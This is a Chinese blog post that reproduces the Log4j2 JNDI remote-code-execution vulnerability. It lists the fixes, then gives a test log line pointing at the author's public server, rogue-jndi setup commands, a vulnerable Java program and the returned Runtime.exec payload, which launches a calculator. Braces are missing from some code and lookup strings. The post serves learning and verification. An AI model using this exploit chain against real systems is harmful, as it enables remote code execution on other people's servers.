log4j2史诗级漏洞攻击重现
Posted Java小田
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了log4j2史诗级漏洞攻击重现相关的知识,希望对你有一定的参考价值。
早上来到公司,就听到安全团队的同事说log4j2有个高危漏洞
起初并不是很在意,想着一个日志框架能有啥高危漏洞嘛
但是仔细一看,居然是远程执行命令的漏洞,上次看到这个名字还是struts2。。。
修复方法也很简单:升级log4j依赖版本到2.15.0
或者启动参数添加-Dlog4j2.formatMsgNoLookups=true并重启
好奇心驱使之下,向安全的同事请教了怎么重现这个漏洞,顺便记录一下,以便以后学习之用
参考文章:
https://mp.weixin.qq.com/s/l7iclJRegADs3oiEdcgAvQ
https://mp.weixin.qq.com/s/_qA3ZjbQrZl2vowikdPOIg
如果你只是想验证自己的log有没问题,那可以不用往下看了,直接本地运行:
log.info("$jndi:ldap://1.117.178.115:1389/o=tomcat");
(个人的腾讯云服务器,不保证永久有效)
如果会像这样弹出计算器程序,那就说明有问题了
1、本地启动ldap服务
https://github.com/veracode-research/rogue-jndi
下载这个链接的源码进行编译
mvn package -DskipTests
启动命令:
#这里172.19.60.23是我本地的ip
java -jar target/RogueJndi-1.1.jar -c "calc" -n 172.19.60.23
2、编写log4j程序并运行
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String... args)
LOGGER.info("$jndi:ldap://172.19.60.23:1389/o=tomcat");
依赖引入:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
注意依赖的引入很关键,我本地是用的spring boot,但是因为spring boot默认是用的logback,所以没法重现。
需要排除掉spring-boot-starter-logging依赖,然后添加spring-boot-starter-log4j2依赖。
这个漏洞在2.15.0已经修复,所以log4j-core的版本要低于2.15.0。
这么一想,这个漏洞好像也没那么严重的
运行以后本地弹出计算器程序,顺利重现
3、大致原理分析
$jndi:ldap://172.19.60.23:1389/o=tomcat
这段日志的打印会触发ldap服务请求
这个请求会返回:
"".getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“javascript”).eval(“java.lang.Runtime.getRuntime().exec(String.fromCharCode(99,97,108,99))”)
代码在rogue-jndi这个工程的artsploit.controllers.Tomcat中:
java.lang.Runtime.getRuntime().exec($command)
这段代码最终会被执行,从而触发远程命令执行
至于这段代码为啥会被执行,需要去啃log4j的源码,大致看了下还挺复杂
关键代码记录如下:
MessagePatternConverter类的format方法:
StrSubstitutor的resolveVariable方法
JndiLookup的lookup方法:
JndiManager的luukup方法:
ldapURLContext的lookup方法:
到这里其实就是jdk的代码了,后面的代码很难看,大致逻辑就是去请求172.19.60.23:1389/o=tomcat这个接口,拿到上面那段payload,然后通过ClasLoader去加载javax.el.ELProcessor,并通过反射执行下面这段代码:
"".getClass()
.forName("javax.script.ScriptEngineManager")
.newInstance()
.getEngineByName("JavaScript")
.eval("java.lang.Runtime.getRuntime()
.exec(String.fromCharCode(99,97,108,99))")
部分代码截图:
以上是关于log4j2史诗级漏洞攻击重现的主要内容,如果未能解决你的问题,请参考以下文章
Apache Log4j2 - JNDI RCE漏洞攻击保姆级教程(仅供测试请勿攻击他人)
Apache Log4j曝史诗级漏洞,Spring boot修复教程
Flink等多组件受影响,Apache Log4j曝史诗级漏洞